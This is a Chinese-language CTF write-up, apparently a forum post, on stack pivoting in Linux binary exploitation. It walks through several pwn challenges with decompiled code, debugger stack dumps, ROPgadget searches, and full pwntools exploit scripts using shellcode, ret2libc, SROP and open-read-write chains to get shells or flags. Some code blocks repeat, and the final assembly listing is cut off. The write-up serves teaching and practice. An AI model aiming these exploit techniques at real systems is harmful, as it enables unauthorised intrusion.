-
-
[原创]栈迁移的一次小小总结
-
发表于: 2025-12-2 17:15 1504
-
因为最近做了一些栈迁移相关的题,就想着做一个整理,大佬轻喷/(ㄒoㄒ)/~~
栈迁移(stack pivoting),正如它所描述的,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP。一般来说,我们可能在以下情况需要使用 stack pivoting
此外,利用 stack pivoting 有以下几个要求
当然,还会有一些其它的姿势。比如说 libc_csu_init 中的 gadgets,我们通过偏移就可以得到控制 rsp 指针。上面的是正常的,下面的是偏移的。
此外,还有更加高级的 fake frame。存在可以控制内容的内存,一般有如下
一般我们可以把bp指针的内容覆盖为我们能控制的内存区域,返回地址设置为leave;ret的gadget就可以实现sp指针的修改。
比如说以下这个例子
以下是一些题目,程序都放在附件里了,可以在本地复现。
先看保护,32位程序,可以看到存在RWX段,猜测栈上可以执行shellcode

也可以通过vmmap验证一下

pwn函数通过fgets写入0x32个字符,根据ida写的s到ebp的偏移是0x20,因此只能溢出0x32-0x20-0x4也就是14个字节,长度受限。
程序还给了一个hint函数,这个函数里给了一个jmp esp的gadget,我们可以利用这个gadget把eip指到栈上。
这道题我们可以通过把shellcode布置到s数组中,再填充字符直到返回地址,返回地址我们可以覆盖为jmp esp这个gadget的地址,这样就可以把eip指向我们的栈上了,接着我们还需要把eip指到我们的shellcode,我们可以在返回地址后布置"sub esp,0x28;jmp"这样一个汇编代码,使得eip指针指到shellcode,最终拿到shell
这里shellcode|padding|fake ebp|ret jmp_esp_addr刚好占用了0x28个字节,所以才是sub esp,0x28
本地调试可以看到,执行jmp esp后,eip和esp都指向了我们写的sub esp,0x28;jmp esp汇编

接着就执行sub esp,0x28;jmp esp就可以让eip指到我们写的shellcode了

成功得到shell

先看保护,是32位程序。

vul里有两个read操作,但是读入字节为0x30个字节,根据ida给出的偏移,我们只能刚好溢出到返回地址,溢出长度受限,需要用到栈迁移
程序还有一个hack函数,执行了system函数,我们就可以利用system@plt来调用system函数了
这道题的思路是:通过vul的第一个read和printf函数我们可以泄露ebp的地址,在第二个read我们就可以通过栈溢出把ebp覆盖为变量s的地址,返回地址覆盖为leave_ret完成栈迁移,我们只需要在s数组里布置好ROP链即可
本地调试,可以看到第一次read之后ebp相对ROP链的偏移是0xa8-0x70=0x38

第二次read之后,写入ROP链,ebp也覆盖为我们的ROP链位置,返回地址的leave;retn完成栈迁移

最后就是执行ROP链,执行system("/bin/sh")拿到shell了

先看程序保护,32位程序,发现有RWX段,说明栈上可执行shellcode

可以看到vulnerable_function会打印buf数组的起始地址,我们可以获取这个地址,把返回地址填充为buf的地址,那我们不就可以执行存放在buf的shellcode了

先看保护,32位程序。

再看vul_function逻辑,可以看到第一个read函数会向s变量写入0x200个字节(s是一个全局变量,存在bss段),第二个read会向buf写入0x20个字节,根据ida给出的偏移,只能溢出到返回地址,长度受限,但是我们可以将栈迁移到s的位置(即把ebp覆盖为s的地址,返回地址覆盖为leave_ret的gadget),因为s的内容是可控的,可以布置rop链
解题思路是:将栈迁移到bss段,执行ROP链泄露libc基址,之后就是常规的ret2libc了

看程序保护,没开pie和canary

看main函数的实现发现开了沙箱,读入0x200个字节,有栈溢出
发现不让执行execve,想拿到flag的话,我们还可以用open,read,write函数即ORW来输出flag

只有pop rdx的gadget能用,只能控制第二个参数

能找到syscall

我们注意到main函数结尾调用了read函数(.text:00000000004012B8),帮我们设置了rdi,rsi,rdx的值,而我们刚好能改rdx的值,rdx是用来设置read的读入长度的,而read函数会把成功读入的长度赋值给rax,这里可以想到使用SROP(Sigreturn Oriented Programming) ,原理详见:e88K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0N6r3k6Q4x3X3c8%4K9h3E0A6i4K6u0W2L8%4u0Y4i4K6u0r3M7s2N6F1i4K6u0r3L8r3W2F1N6i4S2Q4x3V1k6#2M7$3g2J5i4K6u0V1L8h3!0V1k6g2)9J5c8Y4y4@1j5h3y4C8L8%4k6W2M7X3k6D9L8%4N6Q4x3V1k6^5z5o6k6Q4x3V1k6S2k6s2k6S2L8X3y4W2k6q4)9J5k6s2u0G2M7q4)9J5c8Y4y4J5L8%4m8Q4x3V1k6Q4x3U0y4K6K9h3N6F1j5h3H3`.,我们可以通过调用read@plt,只需要赋值rdx为15,就可以使用SROP了。
在SigreturnFrame中,我们可以布置rdi为puts@got,rip为put_plt泄露libc地址,但是泄露完呢?我们该怎么写入ORW的ROP链呢?open函数还需要传入flag文件的路径:/flag,这又该如何写入,这里我们可以先把rbp指针转移到bss段,这样我们可以利用0x4012B8-0x4012C9的代码把返回地址和/flag字符串写入bss段
泄露libc地址后可以在libc查找gdget
ROPgadget --binary libc.so.6 --only "pop|ret"|grep "pop rdi"

ROPgadget --binary libc.so.6 --only "pop|ret"|grep "pop rsi ; ret"

ROPgadget --binary pwn --only "pop|ret"|grep "pop rdx"

梳理一下过程
在main函数执行到.text:00000000004012C9 call _read时,我们的payload设置为b'a'*0x70 + p64(bss_addr) + p64(main_addr),把rbp覆盖为bss_addr,返回地址填写为.text:00000000004012B8 lea rax, [rbp+buf],这样我们就能把rbp指针转移到bss_addr也就是0x0000000000404340的位置,之后就可以往bss_addr - 0x70的位置上写ROP链,返回地址和/flag字符串了。

接着我们写入能够存放返回地址、/flag字符串和泄露基址的ROP链,ROP链执行时首先会往bss_addr -0x70的位置写入00000000004012B8地址和/flag字符串,读入15个字节,此时满足rax=15我们就可以调用syscall,最终用puts函数泄露libc基址,frame.rsp设置为bss_addr - 0x70为的是让puts函数之后的返回地址是我们刚才写入的00000000004012B8地址,这样就可以接着写入ORW的ROP链了,rbp设置为bss_addr + 0x200是为了防止破坏我们刚才写入的00000000004012B8地址和/flag字符串。
此时已经成功写入我们的第一个ROP链


读入15个字节,此时bss_addr - 0x70存放了返回地址和/flag字符串

打印完puts的地址后,又可以写入ORW的ROP链了

我们根据泄露的puts地址,计算libc基址在程序中的偏移,同样也可以在libc中找我们需要的gadget,比如设置rdi和rsi,之后就是利用open函数以只读模式打开/flag文件,read函数把/flag文件的内容写入到bss_addr + 0x100位置,接着利用write函数把bss_addr + 0x100的内容输出到终端拿到flag。

可以看到open函数完后返回了文件描述符3,接着将flag写入0x404440的位置

执行完后查看有没有成功写入

再接着就是把flag打印到终端了

成功输出flag

先查看保护

可以看到main函数里只能溢出到返回地址,溢出长度受限考虑栈迁移,因为没有开启pie,我们可以考虑迁移到bss段
程序里有个gift函数,还给了pop rbp;ret的gadget,我们可以控制rbp内容,还有pop rdi;ret可以控制函数的第一个参数
这道题的主要思路是通过把栈迁移到bss段,在bss段上设置ROP链泄露libc基址,最终调用system("/bin/sh")
我们把rbp覆盖为bss地址,我这里覆盖为bss+0x50,返回地址设置为.text:0000000000401200 lea rax, [rbp+buf]因为我们还需要往bss段写入ROP链

可以看到rbp已经变成了bss+0x50的位置,接下来会读入0x60个字节到rbp-0x50的位置,也就是bss的位置

执行两次leave;ret;之后会把rsp转移到了我们布置的rop链上,这条rop链主要是打印puts在got表中存储的地址(用来泄露libc基址),打印完后再用pop rbp迁移到另一个位置重复写入ROP链

这里主要根据打印的puts函数地址,计算libc在程序中的偏移,再通过read函数写入rop链,和payload2一样,再一次栈迁移

最后得到shell

看程序保护

ida打开发现有很多函数,是静态链接的,那就有很多gadget了

看main函数可以观察到malloc了一个chunk,往堆上读入数据,再调用*v4这个函数,v4是chunk的数据部分地址,*v4是chunk的开始0x8个字节的内容,也就是把堆的数据部分的开始0x8字节内容当成了函数地址去调用
看回汇编可以发现[rbp+var_8]存储的是chunk的数据部分地址,[rbp+var_10]存储的是chunk的数据部分开始0x8字节的内容,call rdx也就是call [rbp+var_10]
程序给了gitf函数,可以观察到只要控制了r9,我们就能控制rsp,也就能控制程序的执行流程
本地调试看看r9是什么值,在call rdx打个断点,可以看到r9的值和[rbp+var_8]是一致的,都是chunk数据部分的地址,那只要我们在chunk的开始0x8个字节写入gift这个gadget的地址,就能实现把栈迁移到堆上了,就可以执行一系列我们在chunk上布置的rop链了。


能找到这些gadget,说明可以使用ret2syscall,执行execve("/bin/sh",0,0)




但是程序没有/bin/sh字符串,我们可以通过调用read函数把这个字符串写入bss段
成功拿到shell

pop rsp/esppop rsp/espgef➤ x/7i 0x000000000040061a0x40061a <__libc_csu_init+90>: pop rbx0x40061b <__libc_csu_init+91>: pop rbp0x40061c <__libc_csu_init+92>: pop r120x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret gef➤ x/7i 0x000000000040061d0x40061d <__libc_csu_init+93>: pop rsp0x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: retgef➤ x/7i 0x000000000040061a0x40061a <__libc_csu_init+90>: pop rbx0x40061b <__libc_csu_init+91>: pop rbp0x40061c <__libc_csu_init+92>: pop r120x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret gef➤ x/7i 0x000000000040061d0x40061d <__libc_csu_init+93>: pop rsp0x40061e <__libc_csu_init+94>: pop r130x400620 <__libc_csu_init+96>: pop r140x400622 <__libc_csu_init+98>: pop r150x400624 <__libc_csu_init+100>: ret 0x80485ee <vul+89> push eax 0x80485ef <vul+90> push 0x80486ca 0x80485f4 <vul+95> call printf@plt <printf@plt> 0x80485f9 <vul+100> add esp, 0x10 ESP => 0xff80c2e0 (0xff80c2d0 + 0x10) 0x80485fc <vul+103> nop ► 0x80485fd <vul+104> leave 0x80485fe <vul+105> ret 当我们运行到vul函数的leave;ret时此时的栈内容如下00:0000│ esp 0xff80c2e0 ◂— 'aaaa'01:0004│-024 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]02:0008│-020 0xff80c2e8 ◂— 0xdeadbeef03:000c│-01c 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'04:0010│-018 0xff80c2f0 ◂— '/bin/sh'05:0014│-014 0xff80c2f4 ◂— 0x68732f /* '/sh' */06:0018│-010 0xff80c2f8 ◂— 0... ↓ 3 skipped0a:0028│ ebp 0xff80c308 —▸ 0xff80c2e0 ◂— 'aaaa'0b:002c│+004 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave0c:0030│+008 0xff80c310 ◂— 10d:0034│+00c 0xff80c314 —▸ 0xff80c330 ◂— 10e:0038│+010 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 00f:003c│+014 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x1010:0040│+018 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'11:0044│+01c 0xff80c324 ◂— 0x70 /* 'p' */12:0048│+020 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c13:004c│+024 0xff80c32c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10ebp存储的是0xff80c2e0,这个地址是栈上的地址,也就是此时esp指针所指的位置,如果存在栈溢出,我们可以任意修改这个位置的内容如果程序执行leave,即mov esp,ebp; pop ebp,此时栈上的内容如下00:0000│ esp 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave01:0004│+030 0xff80c310 ◂— 102:0008│+034 0xff80c314 —▸ 0xff80c330 ◂— 103:000c│+038 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 004:0010│+03c 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x1005:0014│+040 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'06:0018│+044 0xff80c324 ◂— 0x70 /* 'p' */07:001c│+048 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2cebp指向了我们之前覆盖的0xff80c2e0*EBP 0xff80c2e0 ◂— 'aaaa'接下来程序会弹出返回地址给rip,而这里我们覆盖的是leave;ret的gadget,因此会再执行一次leave;ret 0x80485ef <vul+90> push 0x80486ca 0x80485f4 <vul+95> call printf@plt <printf@plt> 0x80485f9 <vul+100> add esp, 0x10 ESP => 0xff80c2e0 (0xff80c2d0 + 0x10) 0x80485fc <vul+103> nop 0x80485fd <vul+104> leave ► 0x80485fe <vul+105> ret <hack+23> ↓ 0x8048562 <hack+23> leave 0x8048563 <hack+24> ret <system@plt> ↓ 0x8048400 <system@plt> jmp dword ptr [0x804a018] <system@plt+6> ↓ 0x8048406 <system@plt+6> push 0x18 0x804840b <system@plt+11> jmp 0x80483c0 <0x80483c0>再执行一次leave就会把esp带到0xff80c2e4的位置,完成了mov esp,ebp;pop ebp的操作00:0000│ esp 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]01:0004│ 0xff80c2e8 ◂— 0xdeadbeef02:0008│ 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'03:000c│ 0xff80c2f0 ◂— '/bin/sh'04:0010│ 0xff80c2f4 ◂— 0x68732f /* '/sh' */05:0014│ 0xff80c2f8 ◂— 0最终实现esp指针的转移,接下来的ret会执行我们布置的ROP链。 0x80485ee <vul+89> push eax 0x80485ef <vul+90> push 0x80486ca 0x80485f4 <vul+95> call printf@plt <printf@plt> 0x80485f9 <vul+100> add esp, 0x10 ESP => 0xff80c2e0 (0xff80c2d0 + 0x10) 0x80485fc <vul+103> nop ► 0x80485fd <vul+104> leave 0x80485fe <vul+105> ret 当我们运行到vul函数的leave;ret时此时的栈内容如下00:0000│ esp 0xff80c2e0 ◂— 'aaaa'01:0004│-024 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]02:0008│-020 0xff80c2e8 ◂— 0xdeadbeef03:000c│-01c 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'04:0010│-018 0xff80c2f0 ◂— '/bin/sh'05:0014│-014 0xff80c2f4 ◂— 0x68732f /* '/sh' */06:0018│-010 0xff80c2f8 ◂— 0... ↓ 3 skipped0a:0028│ ebp 0xff80c308 —▸ 0xff80c2e0 ◂— 'aaaa'0b:002c│+004 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave0c:0030│+008 0xff80c310 ◂— 10d:0034│+00c 0xff80c314 —▸ 0xff80c330 ◂— 10e:0038│+010 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 00f:003c│+014 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x1010:0040│+018 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'11:0044│+01c 0xff80c324 ◂— 0x70 /* 'p' */12:0048│+020 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2c13:004c│+024 0xff80c32c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x10ebp存储的是0xff80c2e0,这个地址是栈上的地址,也就是此时esp指针所指的位置,如果存在栈溢出,我们可以任意修改这个位置的内容如果程序执行leave,即mov esp,ebp; pop ebp,此时栈上的内容如下00:0000│ esp 0xff80c30c —▸ 0x8048562 (hack+23) ◂— leave01:0004│+030 0xff80c310 ◂— 102:0008│+034 0xff80c314 —▸ 0xff80c330 ◂— 103:000c│+038 0xff80c318 —▸ 0xf7f51020 (_rtld_global) —▸ 0xf7f51a40 ◂— 004:0010│+03c 0xff80c31c —▸ 0xf7cf5519 (__libc_start_call_main+121) ◂— add esp, 0x1005:0014│+040 0xff80c320 —▸ 0xff80cc8a ◂— 'ciscn_2019_es_2'06:0018│+044 0xff80c324 ◂— 0x70 /* 'p' */07:001c│+048 0xff80c328 —▸ 0xf7f51000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x36f2cebp指向了我们之前覆盖的0xff80c2e0*EBP 0xff80c2e0 ◂— 'aaaa'接下来程序会弹出返回地址给rip,而这里我们覆盖的是leave;ret的gadget,因此会再执行一次leave;ret 0x80485ef <vul+90> push 0x80486ca 0x80485f4 <vul+95> call printf@plt <printf@plt> 0x80485f9 <vul+100> add esp, 0x10 ESP => 0xff80c2e0 (0xff80c2d0 + 0x10) 0x80485fc <vul+103> nop 0x80485fd <vul+104> leave ► 0x80485fe <vul+105> ret <hack+23> ↓ 0x8048562 <hack+23> leave 0x8048563 <hack+24> ret <system@plt> ↓ 0x8048400 <system@plt> jmp dword ptr [0x804a018] <system@plt+6> ↓ 0x8048406 <system@plt+6> push 0x18 0x804840b <system@plt+11> jmp 0x80483c0 <0x80483c0>再执行一次leave就会把esp带到0xff80c2e4的位置,完成了mov esp,ebp;pop ebp的操作00:0000│ esp 0xff80c2e4 —▸ 0x8048400 (system@plt) ◂— jmp dword ptr [0x804a018]01:0004│ 0xff80c2e8 ◂— 0xdeadbeef02:0008│ 0xff80c2ec —▸ 0xff80c2f0 ◂— '/bin/sh'03:000c│ 0xff80c2f0 ◂— '/bin/sh'04:0010│ 0xff80c2f4 ◂— 0x68732f /* '/sh' */05:0014│ 0xff80c2f8 ◂— 0最终实现esp指针的转移,接下来的ret会执行我们布置的ROP链。int pwn(){ char s[24]; // [esp+8h] [ebp-20h] BYREF puts("\nHey! ^_^"); puts("\nIt's nice to meet you"); puts("\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1;}int pwn(){ char s[24]; // [esp+8h] [ebp-20h] BYREF puts("\nHey! ^_^"); puts("\nIt's nice to meet you"); puts("\nDo you have anything to tell?"); puts(">"); fflush(stdout); fgets(s, 50, stdin); puts("OK bye~"); fflush(stdout); return 1;}void hint(){ __asm { jmp esp }}void hint(){ __asm { jmp esp }}payload = shellcode|padding|fake ebp|ret jmp_esp_addr|sub esp,0x28;jmppayload = shellcode|padding|fake ebp|ret jmp_esp_addr|sub esp,0x28;jmpfrom pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')#io = remote("node5.buuoj.cn",25928)io = process("./ciscn_s_9")gdb.attach(io,"b *0x0804854F")io.recvuntil(">\n")#shellcode = asm(shellcraft.execve('/bin/sh\0',0,0))shellcode = asm(''' push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx push 0xb pop eax int 0x80''')jmp_esp = 0x08048554log.info(f"shellcode->{len(shellcode)}")shellcode = shellcode.ljust(0x24,b'\x00')shellcode += p32(jmp_esp)shellcode += asm(''' sub esp,0x28 jmp esp''')log.info(f"shellcode->{len(shellcode)}")io.send(shellcode)io.interactive()from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')#io = remote("node5.buuoj.cn",25928)io = process("./ciscn_s_9")gdb.attach(io,"b *0x0804854F")io.recvuntil(">\n")#shellcode = asm(shellcraft.execve('/bin/sh\0',0,0))shellcode = asm(''' push 0x68732f push 0x6e69622f mov ebx,esp xor ecx,ecx xor edx,edx push 0xb pop eax int 0x80''')jmp_esp = 0x08048554log.info(f"shellcode->{len(shellcode)}")shellcode = shellcode.ljust(0x24,b'\x00')shellcode += p32(jmp_esp)shellcode += asm(''' sub esp,0x28 jmp esp''')log.info(f"shellcode->{len(shellcode)}")io.send(shellcode)io.interactive()int vul(){ char s[40]; // [esp+0h] [ebp-28h] BYREF memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s);}int vul(){ char s[40]; // [esp+0h] [ebp-28h] BYREF memset(s, 0, 0x20u); read(0, s, 0x30u); printf("Hello, %s\n", s); read(0, s, 0x30u); return printf("Hello, %s\n", s);}int hack(){ return system("echo flag");}int hack(){ return system("echo flag");}from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')#io=remote("node4.buuoj.cn",25379)io=process("ciscn_2019_es_2")#gdb.attach(io,'b *0x080485BE')elf=ELF("ciscn_2019_es_2")payload1=b'a'*0x24+b'b'*0x4#pause()io.recvuntil(b"\n")#pause()io.send(payload1)#pause()io.recvuntil(b"bbbb")ebp_addr=u32(io.recv(4))log.info(f"ebp_addr:{hex(ebp_addr)}")leave_ret=0x08048562sh_addr=ebp_addr-0x38payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh'payload2=payload2.ljust(0x28,b"\x00")payload2+=p32(sh_addr)+p32(leave_ret)io.send(payload2)io.interactive()from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')#io=remote("node4.buuoj.cn",25379)io=process("ciscn_2019_es_2")#gdb.attach(io,'b *0x080485BE')elf=ELF("ciscn_2019_es_2")payload1=b'a'*0x24+b'b'*0x4#pause()io.recvuntil(b"\n")#pause()io.send(payload1)#pause()io.recvuntil(b"bbbb")ebp_addr=u32(io.recv(4))log.info(f"ebp_addr:{hex(ebp_addr)}")leave_ret=0x08048562sh_addr=ebp_addr-0x38payload2=b'a'*0x4+p32(elf.plt["system"])+p32(0xdeadbeef)+p32(sh_addr+0x10)+b'/bin/sh'payload2=payload2.ljust(0x28,b"\x00")payload2+=p32(sh_addr)+p32(leave_ret)io.send(payload2)io.interactive()ssize_t vulnerable_function(){ char buf[136]; // [esp+0h] [ebp-88h] BYREF printf("What's this:%p?\n", buf); return read(0, buf, 0x100u);}ssize_t vulnerable_function(){ char buf[136]; // [esp+0h] [ebp-88h] BYREF printf("What's this:%p?\n", buf); return read(0, buf, 0x100u);}from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')io = process("./level1")shellcode = asm(shellcraft.sh()).ljust(0x88,b"\x00")io.recvuntil(b"What's this:")buf = int(io.recvuntil(b'?',drop=True),16)payload = shellcode + b"a"*(0x4) + p32(buf)io.sendline(payload)io.interactive()from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')io = process("./level1")shellcode = asm(shellcraft.sh()).ljust(0x88,b"\x00")io.recvuntil(b"What's this:")buf = int(io.recvuntil(b'?',drop=True),16)payload = shellcode + b"a"*(0x4) + p32(buf)io.sendline(payload)io.interactive()ssize_t vul_function(){ size_t v0; // eax size_t v1; // eax char buf[24]; // [esp+0h] [ebp-18h] BYREF v0 = strlen(m1); write(1, m1, v0); read(0, &s, 0x200u); v1 = strlen(m2); write(1, m2, v1); return read(0, buf, 0x20u);}ssize_t vul_function(){ size_t v0; // eax size_t v1; // eax char buf[24]; // [esp+0h] [ebp-18h] BYREF v0 = strlen(m1); write(1, m1, v0); read(0, &s, 0x200u); v1 = strlen(m2); write(1, m2, v1); return read(0, buf, 0x20u);}from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')io = remote("node5.buuoj.cn",25443)#io = process("spwn")#gdb.attach(io,'b *0x8048511')elf = ELF("spwn")libc = ELF("libc-2.23.so")write_plt = elf.plt["write"]write_got = elf.got["write"]leave_ret = 0x08048511s = 0x0804A300payload = b'a'*0x4 + p32(write_plt) + p32(elf.symbols["vul_function"]) +p32(1) + p32(write_got) + p32(4)io.recvuntil(b"What is your name?")io.send(payload)payload1 = b'a'*0x18 + p32(s) + p32(leave_ret)io.recvuntil(b"What do you want to say?")io.send(payload1)write_addr = u32(io.recv(4))log.info(f"write_addr -->{hex(write_addr)}")base = write_addr -libc.symbols["write"]system = libc.symbols["system"] + basesh = next(libc.search(b"/bin/sh\x00")) + basepayload2 = b'a'*0x34 + p32(system)*2 + p32(sh)io.recvuntil(b"What is your name?")io.send(payload2)io.recvuntil(b"What do you want to say?")payload3 = b'a'*0x18 + p32(s+0x30) + p32(leave_ret)io.send(payload3)io.interactive()from pwn import *context(arch = 'i386',os = 'linux',log_level = 'debug')io = remote("node5.buuoj.cn",25443)#io = process("spwn")#gdb.attach(io,'b *0x8048511')elf = ELF("spwn")libc = ELF("libc-2.23.so")write_plt = elf.plt["write"]write_got = elf.got["write"]leave_ret = 0x08048511s = 0x0804A300payload = b'a'*0x4 + p32(write_plt) + p32(elf.symbols["vul_function"]) +p32(1) + p32(write_got) + p32(4)io.recvuntil(b"What is your name?")io.send(payload)payload1 = b'a'*0x18 + p32(s) + p32(leave_ret)io.recvuntil(b"What do you want to say?")io.send(payload1)write_addr = u32(io.recv(4))log.info(f"write_addr -->{hex(write_addr)}")base = write_addr -libc.symbols["write"]system = libc.symbols["system"] + basesh = next(libc.search(b"/bin/sh\x00")) + basepayload2 = b'a'*0x34 + p32(system)*2 + p32(sh)io.recvuntil(b"What is your name?")io.send(payload2)io.recvuntil(b"What do you want to say?")payload3 = b'a'*0x18 + p32(s+0x30) + p32(leave_ret)io.send(payload3)io.interactive()int __fastcall main(int argc, const char **argv, const char **envp){ char buf[108]; // [rsp+0h] [rbp-70h] BYREF int v5; // [rsp+6Ch] [rbp-4h] v5 = 0; setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); sandbox(); puts("hey hey what are you doing here?"); read(0, buf, 0x50uLL); puts("I say STOP doing this!"); return read(0, buf, 0x200uLL);}int __fastcall main(int argc, const char **argv, const char **envp){ char buf[108]; // [rsp+0h] [rbp-70h] BYREF int v5; // [rsp+6Ch] [rbp-4h] v5 = 0; setbuf(stdin, 0LL); setbuf(_bss_start, 0LL); sandbox(); puts("hey hey what are you doing here?"); read(0, buf, 0x50uLL); puts("I say STOP doing this!"); return read(0, buf, 0x200uLL);}.text:000000000040123F ; __unwind {.text:000000000040123F endbr64.text:0000000000401243 push rbp.text:0000000000401244 mov rbp, rsp.text:0000000000401247 sub rsp, 70h.text:000000000040124B mov [rbp+var_4], 0.text:0000000000401252 mov rax, cs:stdin@GLIBC_2_2_5.text:0000000000401259 mov esi, 0 ; buf.text:000000000040125E mov rdi, rax ; stream.text:0000000000401261 call _setbuf.text:0000000000401266 mov rax, cs:__bss_start.text:000000000040126D mov esi, 0 ; buf.text:0000000000401272 mov rdi, rax ; stream.text:0000000000401275 call _setbuf.text:000000000040127A mov eax, 0.text:000000000040127F call sandbox.text:0000000000401284 lea rax, s ; "hey hey what are you doing here?".text:000000000040128B mov rdi, rax ; s.text:000000000040128E call _puts.text:0000000000401293 lea rax, [rbp+buf].text:0000000000401297 mov edx, 50h ; 'P' ; nbytes.text:000000000040129C mov rsi, rax ; buf.text:000000000040129F mov edi, 0 ; fd.text:00000000004012A4 call _read.text:00000000004012A9 lea rax, aISayStopDoingT ; "I say STOP doing this!".text:00000000004012B0 mov rdi, rax ; s.text:00000000004012B3 call _puts.text:00000000004012B8 lea rax, [rbp+buf].text:00000000004012BC mov edx, 200h ; nbytes.text:00000000004012C1 mov rsi, rax ; buf.text:00000000004012C4 mov edi, 0 ; fd.text:00000000004012C9 call _read.text:00000000004012CE nop.text:00000000004012CF nop.text:00000000004012D0 nop.text:00000000004012D1 nop.text:00000000004012D2 nop.text:00000000004012D3 leave.text:00000000004012D4 retn.text:00000000004012D4 ; } // starts at 40123F.text:00000000004012D4 main endp.text:000000000040123F ; __unwind {.text:000000000040123F endbr64.text:0000000000401243 push rbp.text:0000000000401244 mov rbp, rsp